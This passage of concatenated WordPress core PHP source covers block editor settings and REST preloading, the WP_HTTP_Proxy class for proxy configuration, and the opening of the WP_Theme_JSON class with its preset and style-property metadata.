		$editor_settings['disableCustomSpacingSizes'] = ! $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'];
		unset( $editor_settings['__experimentalFeatures']['spacing']['customSpacingSize'] );
	}

	if ( isset( $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'] ) ) {
		$spacing_sizes_by_origin         = $editor_settings['__experimentalFeatures']['spacing']['spacingSizes'];
		$editor_settings['spacingSizes'] = isset( $spacing_sizes_by_origin['custom'] ) ?
			$spacing_sizes_by_origin['custom'] : (
				isset( $spacing_sizes_by_origin['theme'] ) ?
					$spacing_sizes_by_origin['theme'] :
					$spacing_sizes_by_origin['default']
			);
	}

	$editor_settings['__unstableResolvedAssets']         = _wp_get_iframed_editor_assets();
	$editor_settings['__unstableIsBlockBasedTheme']      = wp_is_block_theme();
	$editor_settings['localAutosaveInterval']            = 15;
	$editor_settings['disableLayoutStyles']              = current_theme_supports( 'disable-layout-styles' );
	$editor_settings['__experimentalDiscussionSettings'] = array(
		'commentOrder'         => get_option( 'comment_order' ),
		'commentsPerPage'      => get_option( 'comments_per_page' ),
		'defaultCommentsPage'  => get_option( 'default_comments_page' ),
		'pageComments'         => get_option( 'page_comments' ),
		'threadComments'       => get_option( 'thread_comments' ),
		'threadCommentsDepth'  => get_option( 'thread_comments_depth' ),
		'defaultCommentStatus' => get_option( 'default_comment_status' ),
		'avatarURL'            => get_avatar_url(
			'',
			array(
				'size'          => 96,
				'force_default' => true,
				'default'       => get_option( 'avatar_default' ),
			)
		),
	);

	$post_content_block_attributes = wp_get_post_content_block_attributes();

	if ( isset( $post_content_block_attributes ) ) {
		$editor_settings['postContentAttributes'] = $post_content_block_attributes;
	}

	/**
	 * Filters the settings to pass to the block editor for all editor type.
	 *
	 * @since 5.8.0
	 *
	 * @param array                   $editor_settings      Default editor settings.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$post = $block_editor_context->post;

		/**
		 * Filters the settings to pass to the block editor.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead.
		 *
		 * @param array   $editor_settings Default editor settings.
		 * @param WP_Post $post            Post being edited.
		 */
		$editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' );
	}

	return $editor_settings;
}

/**
 * Preloads common data used with the block editor by specifying an array of
 * REST API paths that will be preloaded for a given block editor context.
 *
 * @since 5.8.0
 *
 * @global WP_Post    $post       Global post object.
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 * @global WP_Styles  $wp_styles  The WP_Styles object for printing styles.
 *
 * @param (string|string[])[]     $preload_paths        List of paths to preload.
 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
 */
function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) {
	global $post, $wp_scripts, $wp_styles;

	/**
	 * Filters the array of REST API paths that will be used to preloaded common data for the block editor.
	 *
	 * @since 5.8.0
	 *
	 * @param (string|string[])[]     $preload_paths        Array of paths to preload.
	 * @param WP_Block_Editor_Context $block_editor_context The current block editor context.
	 */
	$preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context );

	if ( ! empty( $block_editor_context->post ) ) {
		$selected_post = $block_editor_context->post;

		/**
		 * Filters the array of paths that will be preloaded.
		 *
		 * Preload common data by specifying an array of REST API paths that will be preloaded.
		 *
		 * @since 5.0.0
		 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead.
		 *
		 * @param (string|string[])[] $preload_paths Array of paths to preload.
		 * @param WP_Post             $selected_post Post being edited.
		 */
		$preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' );
	}

	if ( empty( $preload_paths ) ) {
		return;
	}

	/*
	 * Ensure the global $post, $wp_scripts, and $wp_styles remain the same after
	 * API data is preloaded.
	 * Because API preloading can call the_content and other filters, plugins
	 * can unexpectedly modify the global $post or enqueue assets which are not
	 * intended for the block editor.
	 */
	$backup_global_post = ! empty( $post ) ? clone $post : $post;
	$backup_wp_scripts  = ! empty( $wp_scripts ) ? clone $wp_scripts : $wp_scripts;
	$backup_wp_styles   = ! empty( $wp_styles ) ? clone $wp_styles : $wp_styles;

	foreach ( $preload_paths as &$path ) {
		if ( is_string( $path ) && ! str_starts_with( $path, '/' ) ) {
			$path = '/' . $path;
			continue;
		}

		if ( is_array( $path ) && is_string( $path[0] ) && ! str_starts_with( $path[0], '/' ) ) {
			$path[0] = '/' . $path[0];
		}
	}

	unset( $path );

	$preload_data = array_reduce(
		$preload_paths,
		'rest_preload_api_request',
		array()
	);

	// Restore the global $post, $wp_scripts, and $wp_styles as they were before API preloading.
	$post       = $backup_global_post;
	$wp_scripts = $backup_wp_scripts;
	$wp_styles  = $backup_wp_styles;

	wp_add_inline_script(
		'wp-api-fetch',
		sprintf(
			'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );',
			wp_json_encode( $preload_data )
		),
		'after'
	);
}

/**
 * Creates an array of theme styles to load into the block editor.
 *
 * @since 5.8.0
 *
 * @global array $editor_styles
 *
 * @return array An array of theme styles for the block editor.
 */
function get_block_editor_theme_styles() {
	global $editor_styles;

	$styles = array();

	if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) {
		foreach ( $editor_styles as $style ) {
			if ( preg_match( '~^(https?:)?//~', $style ) ) {
				$response = wp_remote_get( $style );
				if ( ! is_wp_error( $response ) ) {
					$styles[] = array(
						'css'            => wp_remote_retrieve_body( $response ),
						'__unstableType' => 'theme',
						'isGlobalStyles' => false,
					);
				}
			} else {
				$file = get_theme_file_path( $style );
				if ( is_file( $file ) ) {
					$styles[] = array(
						'css'            => file_get_contents( $file ),
						'baseURL'        => get_theme_file_uri( $style ),
						'__unstableType' => 'theme',
						'isGlobalStyles' => false,
					);
				}
			}
		}
	}

	return $styles;
}

/**
 * Returns the classic theme supports settings for block editor.
 *
 * @since 6.2.0
 *
 * @return array The classic theme supports settings.
 */
function get_classic_theme_supports_block_editor_settings() {
	$theme_settings = array(
		'disableCustomColors'    => get_theme_support( 'disable-custom-colors' ),
		'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ),
		'disableCustomGradients' => get_theme_support( 'disable-custom-gradients' ),
		'disableLayoutStyles'    => get_theme_support( 'disable-layout-styles' ),
		'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ),
		'enableCustomSpacing'    => get_theme_support( 'custom-spacing' ),
		'enableCustomUnits'      => get_theme_support( 'custom-units' ),
	);

	// Theme settings.
	$color_palette = current( (array) get_theme_support( 'editor-color-palette' ) );
	if ( false !== $color_palette ) {
		$theme_settings['colors'] = $color_palette;
	}

	$font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) );
	if ( false !== $font_sizes ) {
		$theme_settings['fontSizes'] = $font_sizes;
	}

	$gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) );
	if ( false !== $gradient_presets ) {
		$theme_settings['gradients'] = $gradient_presets;
	}

	return $theme_settings;
}
<?php
/**
 * HTTP API: WP_HTTP_Proxy class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to implement HTTP API proxy support.
 *
 * There are caveats to proxy support. It requires that defines be made in the wp-config.php file to
 * enable proxy support. There are also a few filters that plugins can hook into for some of the
 * constants.
 *
 * Please note that only BASIC authentication is supported by most transports.
 * cURL MAY support more methods (such as NTLM authentication) depending on your environment.
 *
 * The constants are as follows:
 * <ol>
 * <li>WP_PROXY_HOST - Enable proxy support and host for connecting.</li>
 * <li>WP_PROXY_PORT - Proxy port for connection. No default, must be defined.</li>
 * <li>WP_PROXY_USERNAME - Proxy username, if it requires authentication.</li>
 * <li>WP_PROXY_PASSWORD - Proxy password, if it requires authentication.</li>
 * <li>WP_PROXY_BYPASS_HOSTS - Will prevent the hosts in this list from going through the proxy.
 * You do not need to have localhost and the site host in this list, because they will not be passed
 * through the proxy. The list should be presented in a comma separated list, wildcards using * are supported. Example: *.wordpress.org</li>
 * </ol>
 *
 * An example can be as seen below.
 *
 *     define('WP_PROXY_HOST', '192.168.84.101');
 *     define('WP_PROXY_PORT', '8080');
 *     define('WP_PROXY_BYPASS_HOSTS', 'localhost, www.example.com, *.wordpress.org');
 *
 * @link https://core.trac.wordpress.org/ticket/4011 Proxy support ticket in WordPress.
 * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_PROXY_BYPASS_HOSTS
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_HTTP_Proxy {

	/**
	 * Whether proxy connection should be used.
	 *
	 * Constants which control this behavior:
	 *
	 * - `WP_PROXY_HOST`
	 * - `WP_PROXY_PORT`
	 *
	 * @since 2.8.0
	 *
	 * @return bool
	 */
	public function is_enabled() {
		return defined( 'WP_PROXY_HOST' ) && defined( 'WP_PROXY_PORT' );
	}

	/**
	 * Whether authentication should be used.
	 *
	 * Constants which control this behavior:
	 *
	 * - `WP_PROXY_USERNAME`
	 * - `WP_PROXY_PASSWORD`
	 *
	 * @since 2.8.0
	 *
	 * @return bool
	 */
	public function use_authentication() {
		return defined( 'WP_PROXY_USERNAME' ) && defined( 'WP_PROXY_PASSWORD' );
	}

	/**
	 * Retrieve the host for the proxy server.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function host() {
		if ( defined( 'WP_PROXY_HOST' ) ) {
			return WP_PROXY_HOST;
		}

		return '';
	}

	/**
	 * Retrieve the port for the proxy server.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function port() {
		if ( defined( 'WP_PROXY_PORT' ) ) {
			return WP_PROXY_PORT;
		}

		return '';
	}

	/**
	 * Retrieve the username for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function username() {
		if ( defined( 'WP_PROXY_USERNAME' ) ) {
			return WP_PROXY_USERNAME;
		}

		return '';
	}

	/**
	 * Retrieve the password for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function password() {
		if ( defined( 'WP_PROXY_PASSWORD' ) ) {
			return WP_PROXY_PASSWORD;
		}

		return '';
	}

	/**
	 * Retrieve authentication string for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function authentication() {
		return $this->username() . ':' . $this->password();
	}

	/**
	 * Retrieve header string for proxy authentication.
	 *
	 * @since 2.8.0
	 *
	 * @return string
	 */
	public function authentication_header() {
		return 'Proxy-Authorization: Basic ' . base64_encode( $this->authentication() );
	}

	/**
	 * Determines whether the request should be sent through a proxy.
	 *
	 * We want to keep localhost and the site URL from being sent through the proxy, because
	 * some proxies can not handle this. We also have the constant available for defining other
	 * hosts that won't be sent through the proxy.
	 *
	 * @since 2.8.0
	 *
	 * @param string $uri URL of the request.
	 * @return bool Whether to send the request through the proxy.
	 */
	public function send_through_proxy( $uri ) {
		$check = parse_url( $uri );

		// Malformed URL, can not process, but this could mean ssl, so let through anyway.
		if ( false === $check ) {
			return true;
		}

		$home = parse_url( get_option( 'siteurl' ) );

		/**
		 * Filters whether to preempt sending the request through the proxy.
		 *
		 * Returning false will bypass the proxy; returning true will send
		 * the request through the proxy. Returning null bypasses the filter.
		 *
		 * @since 3.5.0
		 *
		 * @param bool|null $override Whether to send the request through the proxy. Default null.
		 * @param string    $uri      URL of the request.
		 * @param array     $check    Associative array result of parsing the request URL with `parse_url()`.
		 * @param array     $home     Associative array result of parsing the site URL with `parse_url()`.
		 */
		$result = apply_filters( 'pre_http_send_through_proxy', null, $uri, $check, $home );
		if ( ! is_null( $result ) ) {
			return $result;
		}

		if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
			return false;
		}

		if ( ! defined( 'WP_PROXY_BYPASS_HOSTS' ) ) {
			return true;
		}

		static $bypass_hosts   = null;
		static $wildcard_regex = array();
		if ( null === $bypass_hosts ) {
			$bypass_hosts = preg_split( '|,\s*|', WP_PROXY_BYPASS_HOSTS );

			if ( str_contains( WP_PROXY_BYPASS_HOSTS, '*' ) ) {
				$wildcard_regex = array();
				foreach ( $bypass_hosts as $host ) {
					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
				}
				$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
			}
		}

		if ( ! empty( $wildcard_regex ) ) {
			return ! preg_match( $wildcard_regex, $check['host'] );
		} else {
			return ! in_array( $check['host'], $bypass_hosts, true );
		}
	}
}
<?php
/**
 * WP_Theme_JSON class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 5.8.0
 */

/**
 * Class that encapsulates the processing of structures that adhere to the theme.json spec.
 *
 * This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
 * This is a low-level API that may need to do breaking changes. Please,
 * use get_global_settings, get_global_styles, and get_global_stylesheet instead.
 *
 * @access private
 */
#[AllowDynamicProperties]
class WP_Theme_JSON {

	/**
	 * Container of data in theme.json format.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	protected $theme_json = null;

	/**
	 * Holds block metadata extracted from block.json
	 * to be shared among all instances so we don't
	 * process it twice.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Initialize as an empty array.
	 * @var array
	 */
	protected static $blocks_metadata = array();

	/**
	 * The CSS selector for the top-level styles.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	const ROOT_BLOCK_SELECTOR = 'body';

	/**
	 * The sources of data this object can represent.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Added 'blocks'.
	 * @var string[]
	 */
	const VALID_ORIGINS = array(
		'default',
		'blocks',
		'theme',
		'custom',
	);

	/**
	 * Presets are a set of values that serve
	 * to bootstrap some styles: colors, font sizes, etc.
	 *
	 * They are a unkeyed array of values such as:
	 *
	 *     array(
	 *       array(
	 *         'slug'      => 'unique-name-within-the-set',
	 *         'name'      => 'Name for the UI',
	 *         <value_key> => 'value'
	 *       ),
	 *     )
	 *
	 * This contains the necessary metadata to process them:
	 *
	 * - path             => Where to find the preset within the settings section.
	 * - prevent_override => Disables override of default presets by theme presets.
	 *                       The relationship between whether to override the defaults
	 *                       and whether the defaults are enabled is inverse:
	 *                         - If defaults are enabled  => theme presets should not be overridden
	 *                         - If defaults are disabled => theme presets should be overridden
	 *                       For example, a theme sets defaultPalette to false,
	 *                       making the default palette hidden from the user.
	 *                       In that case, we want all the theme presets to be present,
	 *                       so they should override the defaults by setting this false.
	 * - use_default_names => whether to use the default names
	 * - value_key        => the key that represents the value
	 * - value_func       => optionally, instead of value_key, a function to generate
	 *                       the value that takes a preset as an argument
	 *                       (either value_key or value_func should be present)
	 * - css_vars         => template string to use in generating the CSS Custom Property.
	 *                       Example output: "--wp--preset--duotone--blue: <value>" will generate as many CSS Custom Properties as presets defined
	 *                       substituting the $slug for the slug's value for each preset value.
	 * - classes          => array containing a structure with the classes to
	 *                       generate for the presets, where for each array item
	 *                       the key is the class name and the value the property name.
	 *                       The "$slug" substring will be replaced by the slug of each preset.
	 *                       For example:
	 *                       'classes' => array(
	 *                         '.has-$slug-color'            => 'color',
	 *                         '.has-$slug-background-color' => 'background-color',
	 *                         '.has-$slug-border-color'     => 'border-color',
	 *                       )
	 * - properties       => array of CSS properties to be used by kses to
	 *                       validate the content of each preset
	 *                       by means of the remove_insecure_properties method.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `color.duotone` and `typography.fontFamilies` presets,
	 *              `use_default_names` preset key, and simplified the metadata structure.
	 * @since 6.0.0 Replaced `override` with `prevent_override` and updated the
	 *              `prevent_override` value for `color.duotone` to use `color.defaultDuotone`.
	 * @since 6.2.0 Added 'shadow' presets.
	 * @since 6.3.0 Replaced value_func for duotone with `null`. Custom properties are handled by class-wp-duotone.php.
	 * @var array
	 */
	const PRESETS_METADATA = array(
		array(
			'path'              => array( 'color', 'palette' ),
			'prevent_override'  => array( 'color', 'defaultPalette' ),
			'use_default_names' => false,
			'value_key'         => 'color',
			'css_vars'          => '--wp--preset--color--$slug',
			'classes'           => array(
				'.has-$slug-color'            => 'color',
				'.has-$slug-background-color' => 'background-color',
				'.has-$slug-border-color'     => 'border-color',
			),
			'properties'        => array( 'color', 'background-color', 'border-color' ),
		),
		array(
			'path'              => array( 'color', 'gradients' ),
			'prevent_override'  => array( 'color', 'defaultGradients' ),
			'use_default_names' => false,
			'value_key'         => 'gradient',
			'css_vars'          => '--wp--preset--gradient--$slug',
			'classes'           => array( '.has-$slug-gradient-background' => 'background' ),
			'properties'        => array( 'background' ),
		),
		array(
			'path'              => array( 'color', 'duotone' ),
			'prevent_override'  => array( 'color', 'defaultDuotone' ),
			'use_default_names' => false,
			'value_func'        => null, // CSS Custom Properties for duotone are handled by block supports in class-wp-duotone.php.
			'css_vars'          => null,
			'classes'           => array(),
			'properties'        => array( 'filter' ),
		),
		array(
			'path'              => array( 'typography', 'fontSizes' ),
			'prevent_override'  => false,
			'use_default_names' => true,
			'value_func'        => 'wp_get_typography_font_size_value',
			'css_vars'          => '--wp--preset--font-size--$slug',
			'classes'           => array( '.has-$slug-font-size' => 'font-size' ),
			'properties'        => array( 'font-size' ),
		),
		array(
			'path'              => array( 'typography', 'fontFamilies' ),
			'prevent_override'  => false,
			'use_default_names' => false,
			'value_key'         => 'fontFamily',
			'css_vars'          => '--wp--preset--font-family--$slug',
			'classes'           => array( '.has-$slug-font-family' => 'font-family' ),
			'properties'        => array( 'font-family' ),
		),
		array(
			'path'              => array( 'spacing', 'spacingSizes' ),
			'prevent_override'  => false,
			'use_default_names' => true,
			'value_key'         => 'size',
			'css_vars'          => '--wp--preset--spacing--$slug',
			'classes'           => array(),
			'properties'        => array( 'padding', 'margin' ),
		),
		array(
			'path'              => array( 'shadow', 'presets' ),
			'prevent_override'  => array( 'shadow', 'defaultPresets' ),
			'use_default_names' => false,
			'value_key'         => 'shadow',
			'css_vars'          => '--wp--preset--shadow--$slug',
			'classes'           => array(),
			'properties'        => array( 'box-shadow' ),
		),
	);

	/**
	 * Metadata for style properties.
	 *
	 * Each element is a direct mapping from the CSS property name to the
	 * path to the value in theme.json & block attributes.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added the `border-*`, `font-family`, `font-style`, `font-weight`,
	 *              `letter-spacing`, `margin-*`, `padding-*`, `--wp--style--block-gap`,
	 *              `text-decoration`, `text-transform`, and `filter` properties,
	 *              simplified the metadata structure.
	 * @since 6.1.0 Added the `border-*-color`, `border-*-width`, `border-*-style`,
	 *              `--wp--style--root--padding-*`, and `box-shadow` properties,
	 *              removed the `--wp--style--block-gap` property.
	 * @since 6.2.0 Added `outline-*`, and `min-height` properties.
	 * @since 6.3.0 Added `column-count` property.
	 * @since 6.4.0 Added `writing-mode` property.
	 * @since 6.5.0 Added `aspect-ratio` property.
	 *
	 * @var array
	 */
	const PROPERTIES_METADATA = array(
		'aspect-ratio'                      => array( 'dimensions', 'aspectRatio' ),
		'background'                        => array( 'color', 'gradient' ),
		'background-color'                  => array( 'color', 'background' ),
		'border-radius'                     => array( 'border', 'radius' ),
		'border-top-left-radius'            => array( 'border', 'radius', 'topLeft' ),
		'border-top-right-radius'           => array( 'border', 'radius', 'topRight' ),
		'border-bottom-left-radius'         => array( 'border', 'radius', 'bottomLeft' ),
		'border-bottom-right-radius'        => array( 'border', 'radius', 'bottomRight' ),
		'border-color'                      => array( 'border', 'color' ),
		'border-width'                      => array( 'border', 'width' ),
		'border-style'                      => array( 'border', 'style' ),
		'border-top-color'                  => array( 'border', 'top', 'color' ),
		'border-top-width'                  => array( 'border', 'top', 'width' ),
		'border-top-style'                  => array( 'border', 'top', 'style' ),
		'border-right-color'                => array( 'border', 'right', 'color' ),
		'border-right-width'                => array( 'border', 'right', 'width' ),
		'border-right-style'                => array( 'border', 'right', 'style' ),
		'border-bottom-color'               => array( 'border', 'bottom', 'color' ),
		'border-bottom-width'               => array( 'border', 'bottom', 'width' ),
		'border-bottom-style'               => array( 'border', 'bottom', 'style' ),
		'border-left-color'                 => array( 'border', 'left', 'color' ),
		'border-left-width'                 => array( 'border', 'left', 'width' ),
		'border-left-style'                 => array( 'border', 'left', 'style' ),
		'color'                             => array( 'color', 'text' ),
		'column-count'                      => array( 'typography', 'textColumns' ),
		'font-family'                       => array( 'typography', 'fontFamily' ),
		'font-size'                         => array( 'typography', 'fontSize' ),
		'font-style'                        => array( 'typography', 'fontStyle' ),
		'font-weight'                       => array( 'typography', 'fontWeight' ),
		'letter-spacing'                    => array( 'typography', 'letterSpacing' ),
		'line-height'                       => array( 'typography', 'lineHeight' ),
		'margin'                            => array( 'spacing', 'margin' ),
		'margin-top'                        => array( 'spacing', 'margin', 'top' ),
		'margin-right'                      => array( 'spacing', 'margin', 'right' ),
		'margin-bottom'                     => array( 'spacing', 'margin', 'bottom' ),
		'margin-left'                       => array( 'spacing', 'margin', 'left' ),
		'min-height'                        => array( 'dimensions', 'minHeight' ),
		'outline-color'                     => array( 'outline', 'color' ),
		'outline-offset'                    => array( 'outline', 'offset' ),
		'outline-style'                     => array( 'outline', 'style' ),
		'outline-width'                     => array( 'outline', 'width' ),
		'padding'                           => array( 'spacing', 'padding' ),
		'padding-top'                       => array( 'spacing', 'padding', 'top' ),
		'padding-right'                     => array( 'spacing', 'padding', 'right' ),
		'padding-bottom'                    => array( 'spacing', 'padding', 'bottom' ),
		'padding-left'                      => array( 'spacing', 'padding', 'left' ),
		'--wp--style--root--padding'        => array( 'spacing', 'padding' ),
		'--wp--style--root--padding-top'    => array( 'spacing', 'padding', 'top' ),
		'--wp--style--root--padding-right'  => array( 'spacing', 'padding', 'right' ),
		'--wp--style--root--padding-bottom' => array( 'spacing', 'padding', 'bottom' ),
		'--wp--style--root--padding-left'   => array( 'spacing', 'padding', 'left' ),
		'text-decoration'                   => array( 'typography', 'textDecoration' ),
		'text-transform'                    => array( 'typography', 'textTransform' ),
		'filter'                            => array( 'filter', 'duotone' ),
		'box-shadow'                        => array( 'shadow' ),
		'writing-mode'                      => array( 'typography', 'writingMode' ),
	);

	/**
	 * Indirect metadata for style properties that are not directly output.
	 *
	 * Each element maps from a CSS property name to an array of
	 * paths to the value in theme.json & block attributes.
	 *
	 * Indirect properties are not output directly by `compute_style_properties`,
	 * but are used elsewhere in the processing of global styles. The indirect
	 * property is used to validate whether or not a style value is allowed.
	 *
	 * @since 6.2.0
	 *
	 * @var array
	 */
	const INDIRECT_PROPERTIES_METADATA = array(
		'gap'        => array(
			array( 'spacing', 'blockGap' ),
		),
		'column-gap' => array(
			array( 'spacing', 'blockGap', 'left' ),
		),
		'row-gap'    => array(
			array( 'spacing', 'blockGap', 'top' ),
		),
		'max-width'  => array(
			array( 'layout', 'contentSize' ),
			array( 'layout', 'wideSize' ),
		),
	);

	/**
	 * Protected style properties.
	 *
	 * These style properties are only rendered if a setting enables it
	 * via a value other than `null`.
	 *
	 * Each element maps the style property to the corresponding theme.json
	 * setting key.
	 *
	 * @since 5.9.0
	 */
	const PROTECTED_PROPERTIES = array(
		'spacing.blockGap' => array( 'spacing', 'blockGap' ),
	);

	/**
	 * The top-level keys a theme.json can have.
	 *
	 * @since 5.8.0 As `ALLOWED_TOP_LEVEL_KEYS`.
	 * @since 5.9.0 Renamed from `ALLOWED_TOP_LEVEL_KEYS` to `VALID_TOP_LEVEL_KEYS`,
	 *              added the `customTemplates` and `templateParts` values.
	 * @since 6.3.0 Added the `description` value.
	 * @var string[]
	 */
	const VALID_TOP_LEVEL_KEYS = array(
		'customTemplates',
		'description',
		'patterns',
		'settings',
		'styles',
		'templateParts',
		'title',
		'version',
	);

	/**
	 * The valid properties under the settings key.
	 *
	 * @since 5.8.0 As `ALLOWED_SETTINGS`.
	 * @since 5.9.0 Renamed from `ALLOWED_SETTINGS` to `VALID_SETTINGS`,
	 *              added new properties for `border`, `color`, `spacing`,
	 *              and `typography`, and renamed others according to the new schema.
	 * @since 6.0.0 Added `color.defaultDuotone`.
	 * @since 6.1.0 Added `layout.definitions` and `useRootPaddingAwareAlignments`.
	 * @since 6.2.0 Added `dimensions.minHeight`, 'shadow.presets', 'shadow.defaultPresets',
	 *              `position.fixed` and `position.sticky`.
	 * @since 6.3.0 Added support for `typography.textColumns`, removed `layout.definitions`.
	 * @since 6.4.0 Added support for `layout.allowEditing`, `background.backgroundImage`,
	 *              `typography.writingMode`, `lightbox.enabled` and `lightbox.allowEditing`.
	 * @since 6.5.0 Added support for `layout.allowCustomContentAndWideSize`,
	 *              `background.backgroundSize` and `dimensions.aspectRatio`.
	 * @var array
	 */
	const VALID_SETTINGS = array(
		'appearanceTools'               => null,
		'useRootPaddingAwareAlignments' => null,
		'background'                    => array(
			'backgroundImage' => null,
			'backgroundSize'  => null,
		),
		'border'                        => array(
			'color'  => null,
			'radius' => null,
			'style'  => null,
			'width'  => null,
		),
		'color'                         => array(
			'background'       => null,
			'custom'           => null,
			'customDuotone'    => null,
			'customGradient'   => null,
			'defaultDuotone'   => null,
			'defaultGradients' => null,
			'defaultPalette'   => null,
			'duotone'          => null,
			'gradients'        => null,
			'link'             => null,
			'heading'          => null,
			'button'           => null,
			'caption'          => null,
			'palette'          => null,
			'text'             => null,
		),
		'custom'                        => null,
		'dimensions'                    => array(
			'aspectRatio' => null,
			'minHeight'   => null,
		),
		'layout'                        => array(
			'contentSize'                   => null,
			'wideSize'                      => null,
			'allowEditing'                  => null,
			'allowCustomContentAndWideSize' => null,
		),
		'lightbox'                      => array(
			'enabled'      => null,
			'allowEditing' => null,
		),
		'position'                      => array(
			'fixed'  => null,
			'sticky' => null,
		),
		'spacing'                       => array(
			'customSpacingSize' => null,
			'spacingSizes'      => null,
			'spacingScale'      => null,
			'blockGap'          => null,
			'margin'            => null,
			'padding'           => null,
			'units'             => null,
		),
		'shadow'                        => array(
			'presets'        => null,
			'defaultPresets' => null,
		),
		'typography'                    => array(
			'fluid'          => null,
			'customFontSize' => null,
			'dropCap'        => null,
			'fontFamilies'   => null,
			'fontSizes'      => null,
			'fontStyle'      => null,
			'fontWeight'     => null,
			'letterSpacing'  => null,
			'lineHeight'     => null,
			'textColumns'    => null,
			'textDecoration' => null,
			'textTransform'  => null,
			'writingMode'    => null,
		),
	);

	/*
	 * The valid properties for fontFamilies under settings key.
	 *
	 * @since 6.5.0
	 *
	 * @var array
	 */
	const FONT_FAMILY_SCHEMA = array(
		array(
			'fontFamily' => null,
			'name'       => null,
			'slug'       => null,
			'fontFace'   => array(
				array(
					'ascentOverride'        => null,
					'descentOverride'       => null,
					'fontDisplay'           => null,
					'fontFamily'            => null,
					'fontFeatureSettings'   => null,
					'fontStyle'             => null,
					'fontStretch'           => null,
					'fontVariationSettings' => null,
					'fontWeight'            => null,
					'lineGapOverride'       => null,
					'sizeAdjust'            => null,
					'src'                   => null,
					'unicodeRange'          => null,
				),
			),
		),
	);

	/**
	 * The valid properties under the styles key.
	 *
	 * @since 5.8.0 As `ALLOWED_STYLES`.
	 * @since 5.9.0 Renamed from `ALLOWED_STYLES` to `VALID_STYLES`,
	 *              added new properties for `border`, `filter`, `spacing`,
	 *              and `typography`.
	 * @since 6.1.0 Added new side properties for `border`,
	 *              added new property `shadow`,
	 *              updated `blockGap` to be allowed at any level.
	 * @since 6.2.0 Added `outline`, and `minHeight` properties.
	 * @since 6.3.0 Added support for `typography.textColumns`.
	 * @since 6.5.0 Added support for `dimensions.aspectRatio`.
	 *
	 * @var array
	 */
	const VALID_STYLES = array(
		'border'     => array(
			'color'  => null,
			'radius' => null,
			'style'  => null,
			'width'  => null,
			'top'    => null,
			'right'  => null,
			'bottom' => null,
			'left'   => null,
		),
		'color'      => array(
			'background' => null,
			'gradient'   => null,
			'text'       => null,
		),
		'dimensions' => array(
			'aspectRatio' => null,
			'minHeight'   => null,
		),
		'filter'     => array(
			'duotone' => null,
		),
		'outline'    => array(
			'color'  => null,
			'offset' => null,
			'style'  => null,
			'width'  => null,
		),
		'shadow'     => null,
		'spacing'    => array(
			'margin'   => null,
			'padding'  => null,
			'blockGap' => null,
		),
		'typography' => array(
			'fontFamily'     => null,
			'fontSize'       => null,
			'fontStyle'      => null,
			'fontWeight'     => null,
			'letterSpacing'  => null,
			'lineHeight'     => null,
			'textColumns'    => null,
			'textDecoration' => null,
			'textTransform'  => null,
			'writingMode'    => null,
		),
		'css'        => null,
	);

	/**
	 * Defines which pseudo selectors are enabled for which elements.
	 *
	 * The order of the selectors should be: link, any-link, visited, hover, focus, active.
	 * This is to ensure the user action (hover, focus and active) styles have a higher
	 * specificity than the visited styles, which in turn have a higher specificity than
	 * the unvisited styles.
	 *
	 * See https://core.trac.wordpress.org/ticket/56928.
	 * Note: this will affect both top-level and block-level elements.
	 *
	 * @since 6.1.0
	 * @since 6.2.0 Added support for ':link' and ':any-link'.
	 */
	const VALID_ELEMENT_PSEUDO_SELECTORS = array(
		'link'   => array( ':link', ':any-link', ':visited', ':hover', ':focus', ':active' ),
		'button' => array( ':link', ':any-link', ':visited', ':hover', ':focus', ':active' ),
	);

	/**
	 * The valid elements that can be found under styles.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Added `heading`, `button`, and `caption` elements.
	 * @var string[]
	 */
	const ELEMENTS = array(
		'link'    => 'a:where(:not(.wp-element-button))', // The `where` is needed to lower the specificity.
		'heading' => 'h1, h2, h3, h4, h5, h6',
		'h1'      => 'h1',
		'h2'      => 'h2',
		'h3'      => 'h3',
		'h4'      => 'h4',
		'h5'      => 'h5',
		'h6'      => 'h6',
		// We have the .wp-block-button__link class so that this will target older buttons that have been serialized.
